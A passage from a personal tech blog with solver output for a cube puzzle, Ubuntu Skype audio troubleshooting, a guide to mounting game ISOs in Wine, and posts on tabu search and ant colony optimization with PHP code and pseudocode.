4 {0; 0; 4; 8; 24; 28; }: 1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
5 {0; 0; 16; 32; 36; 52; }: 1 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0
6 {0; 1; 5; 9; 10; 14; }: 1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
7 {0; 1; 17; 33; 34; 50; }: 1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0
8 {0; 1; 5; 9; 8; 12; }: 1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 1 1 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
9 {0; 1; 17; 33; 32; 48; }: 1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
10 {0; 1; 5; 9; 25; 29; }: 1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
11 {0; 1; 17; 33; 37; 53; }: 1 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0
12 {0; 2; 6; 10; 11; 15; }: 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
13 {0; 2; 18; 34; 35; 51; }: 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0
14 {0; 2; 6; 10; 9; 13; }: 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 1 1 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
15 {0; 2; 18; 34; 33; 49; }: 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0
16 {0; 2; 6; 10; 26; 30; }: 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
17 {0; 2; 18; 34; 38; 54; }: 1 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0
18 {0; 3; 2; 1; 5; 4; }: 1 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
...


As you can see, in these rows, the first block (number zero) is used, so the first column is one (1), the next eleven columns are zero (0). The next 64 columns are one if the row uses that position.

The program then gives some verbose information:
==> (0) Number of rows: 4488 and cols: 76
Picking 12, has 117
117 rows to do for column
==> (1) Number of rows: 3414 and cols: 70
Picking 15, has 22
22 rows to do for column
==> (2) Number of rows: 2025 and cols: 64
Picking 17, has 45
45 rows to do for column
==> (3) Number of rows: 1156 and cols: 57
Picking 26, has 10
10 rows to do for column
...
==> (10) Number of rows: 9 and cols: 12
Picking 4, has 3
3 rows to do for column
==> (11) Number of rows: 0 and cols: 0
<== Column has zero ones. ==> (11) Number of rows: 0 and cols: 0
<== Column has zero ones. ==> (11) Number of rows: 0 and cols: 0
<== Column has zero ones. ==> (10) Number of rows: 10 and cols: 12
Picking 4, has 2
2 rows to do for column
==> (11) Number of rows: 0 and cols: 0
<== Column has zero ones. ==> (11) Number of rows: 2 and cols: 6
Picking 10, has 2
2 rows to do for column
==> (12) Number of rows: 0 and cols: 0


And finally, a first solution is found, alongside a simple presentation to try it on the cube:

All done, here is a list of choices:
CHOICE NR 0: 0 0 1 2 6 7
CHOICE NR 393: 1 19 3 23 22 21
CHOICE NR 741: 2 5 9 13 29 30 45
CHOICE NR 1113: 3 15 31 14 11 10
CHOICE NR 2693: 7 4 8 12 28 44
CHOICE NR 2371: 5 63 62 46 61 60
CHOICE NR 3328: 8 58 47 42 43 39 27
CHOICE NR 3621: 9 38 51 54 55 59
CHOICE NR 4427: 11 49 53 50 34 35 18
CHOICE NR 2635: 6 56 57 40 24 20 16
CHOICE NR 2004: 4 48 52 32 33 17
CHOICE NR 3938: 10 26 25 41 37 36

Solution found:
Plane 0:
3 3 2 7
3 3 2 7
0 0 2 7
1 0 0 0
Plane 1:
3 2 2 7
8 10 10 6
1 1 1 6
1 11 4 6
Plane 2:
8 5 2 7
8 8 10 6
8 9 10 10
11 11 4 4
Plane 3:
5 5 5 5
9 8 6 6
9 9 11 4
9 11 11 4


Which looks like this:



Ha, gotcha! If we would use Dancing Links as well, and a faster/better suited language, this would go even faster.

Tuesday, April 28, 2009

Ubuntu Jauntu: Skype Worked Before, Now: "Problem with audio capture"

There are two things I currently not like about Ubuntu or Linux in general: the whole sound mess, and the whole graphics mess (but both are getting better). This problem is about the first mess.

Skype was working perfectly in Interprid, now in Jaunty it was telling me that there was a "Problem with audio capture". I tested Ubuntu's sound-recorder as well, which was not working either.

I'm using the default, normal Skype from the Medibuntu repo's!

Let's take a look at all the different factors here. First of all, open System → Preferences → Sound. Mine looks like this:

  • Sound Events - Sound playback: Autodetect
  • Music and Movies - Sound playback: Autodetect
  • Audio Conferencing
    • Sound playback: Autodetect
    • Sound capture: ALSA - Advanced Linux Sound Architecture, in your case, this may say PulseAudio Sound Server here. However, I have noticed that ALSA seems to record better sound (less garbled, especially with slower computers). Since we're not doing anything unusual with recorded sound (client-server, multiple inputs), I suggest you also pick ALSA here.
Now right click the sound icon in the panel and pick "Open Volume Control". My device says "HDA Intel (Alsa mixer)". You'll probably need the Alsa mixer as well. I have a few sliders I have to play with:
  • In the Playback-tab (yes, here!): Mic Boost
  • In the Recording-tab: Capture
  • In the Switches-tab: make sure Microphone Capture is enabled! This was disabled after my Jaunty upgrade. If you're not seeing any relevant sliders or checkboxes, click the Preferences-button and enable all relevant sliders/switches.
Now open sound-recorder. You should be able to record sound now. Also, start pavucontrol, and click the Input Devices-tab, the level meter should respond to you clapping your hands for example.

Hear yourself? No, then try fiddling again with the settings in the previously opened windows before you continue!

Yes, good, onwards to Skype. Try making a test call. In my case, Skype was still complaining about the audio capture. Let's open Skype's options → Sound Devices.

In my case, the options were:
  • Sound In: HDA Intel (hw:Intel,0)
  • Sound Out: pulse
  • Ringing: pulse
Which was working in Intrepid. If you suffer the same problem, read on...

A sidenote, your Sound In device might be either pulse or default as well. There are a few cases when you should use these:
  • default: if you've succesfully changed configuration files to make the correct devices the default ones. This will almost never be the case.
  • pulse: if you're using PulseAudio server for the Sound Capture. But even then, I don't recommend it. Using pulse for Sound In often crashes Skype on my machine...
Again, provided when you use a normal Skype (non static, non OSS).
Your Sound Out/Ringing devices are already correct, they need to be pulse. Sound In will be set to an hw-device.

Before reading further, try making a test call with every listed hw-device (I had four, you can have more or less).

If none of them are working or if you're sure which hw-device you need (and it isn't working), try this: edit /etc/pulse/daemon.conf (don't forget to sudo) and make sure the following lines are present and uncommented, with the following values:

default-fragments = 8
default-fragment-size-msec = 5

This is an optional step however, but it seems to help with the Skype sound quality (an other option is setting default-fragment-size-msec to 10).

(!) Now,  edit ~/.asoundrc (no need to be root here, it's a file in your home directory). And make sure the following lines are there:

pcm.pulse { type pulse }
ctl.pulse { type pulse }

Which I totally did in Hardy as well! The update must've deleted them. This simple file seemed to do the trick!

Then, just to be sure, I reinstalled  the libasound2-plugins package.

Reboot, or restart pulseaudio (kill it, then start it in i.e. a Terminal window). Restart Skype. Skype was working fine now. If it is not, make sure you try every plughw-device.



Still not working, no matter how much you try? You're out of luck. If sound-recorder and sound playback is working, you can try an emergency solution. Install the static, OSS version of Skype (you can find it with Medibuntu or floating around in a tarball somewhere). and start it with:

padsp skype

To route the sounds through the PulseAudio sink. Sound devices in this Skype should all be set to default (or OSS). Calls should work now. Be warned though: always try this as a last resort, routing OSS sound through PulseAudio is slow and bloated, ugly and old. Your record voice will sound like... well, crap.

Vice City (And Perhaps Other Games) In Wine - CD Error With ISO

So, you've just gotten yourself two .iso's for Grand Theft Auto: Vice City (your backups, of course), which you want to play in Wine. What do you do?

That's easy, you say:

sudo mkdir /media/isoimage
sudo mount -o loop ./cd1.iso /media/isoimage

And start the setup with Wine.

Now the installer asks for the second CD, what do you do? Here we have to "eject" our "cd" first...

wine eject
sudo umount /media/isoimage
sudo mount -o loop ./cd2.iso /media/isoimage

And we're done. You want to start the game, but it requires the play disk, even although you're sure you've mounted it. Thing is, Vice City isn't looking at your /media/isoimage mount point, but it's looking at your drive letters... where could the cd be?

Take a look in ~/.wine/dosdevices (it's a hidden directory in your home folder). We're going to create two symbolic links there (in my case, there were a lot of symbolic, broken links already there, I deleted every one of them except c: and z:). One for the mount point, and one for the actual device (or in our case: the image).

ln -sf /media/isoimage ~/.wine/dosdevices/e:
ln -sf ~/cd2.iso ~/.wine/dosdevices/e::

Note the double colons (e::) in the second line. That's it, the game should start fine now.

Be sure to replace /media/isoimage, e:, e::, ~/cd1.iso, ~/cd2.iso and other displayed paths/locations with the ones relevant for you.

Thursday, February 05, 2009

Modern Genetic (And Other) Algorithms Explained: Part 7 - Conclusion

(This is the final part in the Modern Genetic Algorithms Explained series, click here to go to the first post, or browse through all the parts with the Table Of Contents at the end of this post.)

In the past series, we have looked at genetic algorithms, simulated annealing, ant colony simulation and tabu search. Each method had its pro's and cons, and there certainly is room for exploration left.

I hope you've enjoyed this series, or that it has at least sparked your interest in the topic.

Here are a few more (general resources), if you want to know more:

Other related techniques:

Books:
A specialized event was held in the USA: Foundations Of Genetic Algorithms. You can find a lot of interesting information on their website.
Finally, I want to mention a software project which looks promising: Paradiseo:
A white-box object-oriented framework, portable (Windows, Unix and MacOS), dedicated to the flexible design of metaheuristics: solution-based metaheuristics (Local search, Simulated annealing, Iterated local search, Tabu search, ...) and population-based metaheuristics (Genetic algorithm, Particle swarm optimization, Evolution strategy, Differential evolution algorithms, ...).

-----
Table Of Contents (click a link to jump to that post)

Thursday, January 29, 2009

Modern Genetic (And Other) Algorithms Explained: Part 6 - Tabu Search

(This is part 6 in the Modern Genetic Algorithms Explained series, click here to go to the first post, or browse through all the parts with the Table Of Contents at the end of this post.)

Tabu search is not really "modern" anymore, but still widely used nonetheless.

The pseudocode looks like this:

Construct an initial solution
Until timelimit hit or satisfiable solution found do:
    Find all neighbours which are not in the tabu list, and calculate their score
    Pick the best neighbour, add the previous solution to the tabu list

Notice that the "best neighbour" must not be better than the current solution, or than the ever best found solution.

Maintaining a tabu list can be time and memory consuming, alternatively we could construct a list like this: add the difference between two following solutions to the list (so that they cannot be undone), and keep it in the list for n iterations. N, or the length of the list is important: make it too long and the algorithm might get stuck, make it too short and the algorithm will tend towards local maxima.

This time, I've coded the example in PHP, I hope nobody minds:

$target = 300;

//construct an initial solution
$tabulist = array('ttl' => array(), 'change' => array());
$solution = array();
$min = 0;
$max = 100;
for ($i=0;$i<6;$i++)
    $solution[] = rand($min,$max);
  
//until solution found
while (true){
    $best_neighbour_solution = false;
    $best_neighbour_score = 1000;
    $best_neighbour_tabu = false;
    for ($position=0;$position<6;$position++){
        if (!in_array("$position+",$tabulist['change'])
                and $solution[$position] < $max){
            $temp_solution = $solution;
            $temp_solution[$position]++;
            $score = fitness($temp_solution,$target);
            if ($score < $best_neighbour_score){
                $best_neighbour_score = $score;
                $best_neighbour_solution = $temp_solution;
                //make sure this step doesn't get undone
                $best_neighbour_tabu = "$position-";
            }
        }
        if(!in_array("$position-",$tabulist['change'])
                and $solution[$position] > $min){
            $temp_solution = $solution;
            $temp_solution[$position]--;
            $score = fitness($temp_solution,$target);
            if ($score < $best_neighbour_score){
                $best_neighbour_score = $score;
                $best_neighbour_solution = $temp_solution;
                //make sure this step doesn't get undone
                $best_neighbour_tabu = "$position+";
            }
        }
    }
    //pick the best neighbour
    $solution = $best_neighbour_solution;
    $fitness = fitness($solution,$target);
    echo "Iteration $iterations: fitness = $fitness\n";
    if ($fitness == 0){
        echo "Perfect solution found:\n";
        print_r($solution);
        die;
    }
    //add change to tabu list
    $tabulist['ttl'][$iterations] = 5; //remember for 5 iteration
    $tabulist['change'][$iterations] = $best_neighbour_tabu;
    //update the tabulist
    foreach ($tabulist['ttl'] as $key => &$val){
        $val--;
        if ($val <= 0){
            unset($tabulist['ttl'][$key]);
            unset($tabulist['change'][$key]);
        }
    }
    echo "Iteration $iterations: tabulist now contains "
        .count($tabulist['ttl'])." items \n";
    $iterations++;
}


function fitness($array, $target){
    return abs(array_sum($array)-$target);
}

The neighbour calculation could be done a little better (there's a bit of ugly duplicate code), but the following output is given:

Iteration : fitness = 57
Iteration : tabulist now contains 1 items
Iteration 1: fitness = 56
Iteration 1: tabulist now contains 2 items
Iteration 2: fitness = 55
Iteration 2: tabulist now contains 3 items
Iteration 3: fitness = 54
Iteration 3: tabulist now contains 4 items
Iteration 4: fitness = 53
Iteration 4: tabulist now contains 4 items
Iteration 5: fitness = 52
Iteration 5: tabulist now contains 4 items
...
Iteration 55: tabulist now contains 4 items
Iteration 56: fitness = 1
Iteration 56: tabulist now contains 4 items
Iteration 57: fitness = 0
Perfect solution found:
Array
(
    [0] => 66
    [1] => 14
    [2] => 20
    [3] => 99
    [4] => 14
    [5] => 87
)

With this sample problem, such an output was, of course, expected. Notice that I've used the second method of keeping a tabulist.

This post concludes this series, we only have one post to go, with a general conclusion.



-----
Table Of Contents (click a link to jump to that post)

Thursday, January 22, 2009

Modern Genetic (And Other) Algorithms Explained: Part 5 - Ant Colony Optimization

(This is part 5 in the Modern Genetic Algorithms Explained series, click here to go to the first post, or browse through all the parts with the Table Of Contents at the end of this post.)

First, let's go to Wikipedia for a definition:

The ant colony optimization algorithm (ACO), is a probabilistic technique for solving computational problems which can be reduced to finding good paths through graphs.

This algorithm is a member of Ant colony algorithms family, in Swarm intelligence methods, and it constitutes some metaheuristic optimizations. Initially proposed by Marco Dorigo in 1992 in his PhD thesis [1] [2] , the first algorithm was aiming to search for an optimal path in a graph; based on the behavior of ants seeking a path between their colony and a source of food. The original idea has since diversified to solve a wider class of Numerical problems, and as a result, several problems have emerged, drawing on various aspects of the behavior of ants.

"Good paths through graphs". I have not converted our sample problem from the previous posts to a graphing problem. So no Python sample this time, sorry.

You do get to see some pseudocode though:
Given a number of nodes
Given some edges between nodes (paths)
Given BT := {}, this will contain our best tour
Randomly construct a tour T
Create a number of "ants" (often equal to number of nodes)
Associate a distance, pheromone value, and delta pheromone value to every edge
Iterate until time limit hit or satisfiable solution found:
  For each ant do:
    Do until tour constructed:
    Next node is chosen depending on visibility (e.g. 1/distance) and pheromone trail
    E.g. choose next node with probability (visibility^a)*(pheromone trail^b)
    Calculate fitness of this tour
    Copy this tour to the best tour if fitness is better
    Update the pheromone trail of each edge of this ant's tour:
    E.g. delta pheromone for edge := 1/(tour cost)
  For each edge:
    Lower pheromone value by a factor
    Add delta pheromone value to pheromone value
    Set delta pheromone := 0

ACO is a very interesting method, again, we see certain aspects already used in the previous posts, like using pheromone trails to avoid local maxima. Since the algorithm is closely tied to graphs, nodes and paths, it's no wonder it's often used to find shortest paths, or to solve the travelling salesman problem.

There are some interesting links on the Wikipedia page, one of them is this application:
After a while, an ant finds a path to the food and places pheromones:

Those who are interested can read more about Swarm intelligence or Particle swarm optimization.


-----
Table Of Contents (click a link to jump to that post)